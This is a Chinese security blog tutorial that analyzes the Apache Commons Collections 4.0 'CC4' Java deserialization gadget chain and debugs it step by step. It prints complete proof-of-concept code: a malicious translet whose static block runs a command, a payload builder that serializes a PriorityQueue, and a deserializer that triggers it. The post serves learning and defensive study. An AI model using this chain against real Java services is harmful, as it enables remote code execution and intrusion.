反序列化学习之路-Apache Commons Collections(CC4)

admin 2024年6月15日23:34:37评论3 views字数 11369阅读37分53秒阅读模式

前言

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 继承 Serializable,导致该方法无法序列化。

同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口,而CommonsCollections 3里是没有的,所以命令执行点还是一致的

CC4链中可以在transform()的上一步中用TransformingComparator来代替

1.环境安装

CommonsCollections = 4.0

在pom.xml中加入4.0版本的依赖并加载

<dependencies>    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->    <dependency>        <groupId>org.apache.commons</groupId>        <artifactId>commons-collections4</artifactId>        <version>4.0</version>    </dependency></dependencies>

反序列化学习之路-Apache Commons Collections(CC4)

2. 分析

我们在transform()处find usage,找到了TransformingComparator#compare()

反序列化学习之路-Apache Commons Collections(CC4)

反序列化学习之路-Apache Commons Collections(CC4)

这是我们常见的方法,我们继续往前找,在PriorityQueue#siftDownUsingComparator()方法找到了compare()的调用

反序列化学习之路-Apache Commons Collections(CC4)

反序列化学习之路-Apache Commons Collections(CC4)

这段代码是一个泛型方法,用于执行堆数据结构中的下沉操作,通常是堆排序算法和优先队列的一部分

我们继续查看调用情况,我们找到了同类中的heapify方法进行了调用

反序列化学习之路-Apache Commons Collections(CC4)

并且我们发现了PriorityQueue类的readObject方法也调用了heapify()方法,把整个调用串了起来

所以目前的路线已经清楚了,再加上我们在CC3中分析的命令执行点就组成了一条利用链

后半条链分析详情见:

反序列化学习之路-Apache Commons Collections(CC3)

PriorityQueue#readObject PriorityQueue#heapify() PriorityQueue#siftDownUsingComparator()   TransformingComparator.compare()    InstantiateTransformer.transform()       TemplatesImpl.newTransformer()        defineClass()          newInstance()

3.解决报错

首先编译一个恶意类用来执行命令

package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e){            e.printStackTrace();        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;public class CC4 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class ca = templates.getClass();        Field name = ca.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"admin");        Field byteField = ca.getDeclaredField("_bytecodes");        byteField.setAccessible(true);        byte[] evil = Files.readAllBytes(Paths.get("D:\bianyi\pycharm\IDEA\Projects\untitled1\target\classes\org\example\Calc.class"));        byte[][] codes = {evil};        byteField.set(templates,codes);        Field tfactory = ca.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},                new Object[]{templates});//        instantiateTransformer.transform(TrAXFilter.class);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        //序列化        serializable(priorityQueue);        unserializable();    }    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }    private static void serializable(Object o) throws IOException, ClassNotFoundException{        FileOutputStream fos = new FileOutputStream("obj");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();    }}

直接执行却没有触发计算器

我们进行调试发现在下图的步骤中跳出,并没有继续执行下去

反序列化学习之路-Apache Commons Collections(CC4)

首先要执行for循环,i>=0。i的取值又取决于表达式 i = (n >>> 1) - 1,这是一个赋值操作,其中 n >>> 1 是将 n 无符号右移一位的结果,然后从这个结果中减去 1 来得到 i 的值,所以n>=2的时候,咱们的i就符合条件了。

而n的值是Size 就是 PriorityQueue 这个队列的长度,所以咱们尝试往队列中添加两个值

priorityQueue.add(1);  priorityQueue.add(2);
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;public class CC4 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class ca = templates.getClass();        Field name = ca.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"admin");        Field byteField = ca.getDeclaredField("_bytecodes");        byteField.setAccessible(true);        byte[] evil = Files.readAllBytes(Paths.get("D:\bianyi\pycharm\IDEA\Projects\untitled1\target\classes\org\example\Calc.class"));        byte[][] codes = {evil};        byteField.set(templates,codes);        Field tfactory = ca.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},                new Object[]{templates});//        instantiateTransformer.transform(TrAXFilter.class);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add(1);        priorityQueue.add(2);        //序列化//        serializable(priorityQueue);////        unserializable();    }    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }    private static void serializable(Object o) throws IOException, ClassNotFoundException{        FileOutputStream fos = new FileOutputStream("obj");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();    }}

我们直接运行,发现在没有序列化之前就已经运行出计算器,同时还出现了报错

反序列化学习之路-Apache Commons Collections(CC4)

我们打下断点进行调试分析原因,发现在进行添加第二个数值的时候触发了compare()

反序列化学习之路-Apache Commons Collections(CC4)

反序列化学习之路-Apache Commons Collections(CC4)

反序列化学习之路-Apache Commons Collections(CC4)

反序列化学习之路-Apache Commons Collections(CC4)

所以我们可以按照之前几次分析的思路,先进行一次无效的赋值,让他正常运行,但不进行操作,在最后重新通过反射赋值回来

Class c = transformingComparator.getClass();Field trans = c.getDeclaredField("transformer");trans.setAccessible(true);trans.set(transformingComparator,chainedTransformer);

分析出计算器的弹出之后,同时在这次的代码中最后可以舍弃_tfactory的赋值,因为之前在CC3中我们的分析,刚开始进行了templates.newTransformer()操作,并没有进行反序列化,我们需要自己提前对他进行赋值,才能运行成功。

在刚开始的反序列化中,jvm会对涉及的类如果有readObject的时候会默认构建,在TemplatesImpl类中,readObject有一个赋值操作,所以我们不用再进行相关操作了

反序列化学习之路-Apache Commons Collections(CC4)

4.编写POC

我们对上面的进行总结,编写POC

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue;public class CC4 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class ca = templates.getClass();        Field name = ca.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"admin");        Field byteField = ca.getDeclaredField("_bytecodes");        byteField.setAccessible(true);        byte[] evil = Files.readAllBytes(Paths.get("D:\bianyi\pycharm\IDEA\Projects\untitled1\target\classes\org\example\Calc.class"));        byte[][] codes = {evil};        byteField.set(templates,codes);//        Field tfactory = ca.getDeclaredField("_tfactory");//        tfactory.setAccessible(true);//        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},                new Object[]{templates});//        instantiateTransformer.transform(TrAXFilter.class);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);        priorityQueue.add(1);        priorityQueue.add(2);        Class c = transformingComparator.getClass();        Field trans = c.getDeclaredField("transformer");        trans.setAccessible(true);        trans.set(transformingComparator,chainedTransformer);        //序列化        serializable(priorityQueue);////        unserializable();    }    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }    private static void serializable(Object o) throws IOException, ClassNotFoundException{        FileOutputStream fos = new FileOutputStream("obj");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();    }}

我们运行反序列化POC,成功弹出

package org.example;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class Main {    public static void main(String[] args) throws Exception {        //命令执行代码        unserializable();    }    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }}

反序列化学习之路-Apache Commons Collections(CC4)

所以这次的链还是比较简单的,整体路线为:

PriorityQueue.readObject()    PririPriorityQueuety.heapify()        PririPriorityQueuety.siftDown()            PririPriorityQueuety.siftDownUsingComparator()                Comparator.compare()                    instantiateTransformer.compare()                    instantiateTransformer.transform()                            TrAXFilter.TrAXFilter()                                TemplatesImpl.newTransformer()                                    definclass -> newInstance()

本系列其它文章:

年轻人的第一条反序列化链-URLDNS

反序列化学习之路-Apache Commons Collections(CC1)

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

反序列化学习之路-Apache Commons Collections(CC6)

反序列化学习之路-Apache Commons Collections(CC3)

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任

欢迎关注公众号“呼啦啦安全”,原创技术文章第一时间推送。

原文始发于微信公众号(呼啦啦安全):反序列化学习之路-Apache Commons Collections(CC4)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月15日23:34:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化学习之路-Apache Commons Collections(CC4)https://cn-sec.com/archives/2850719.html

发表评论

匿名网友 填写信息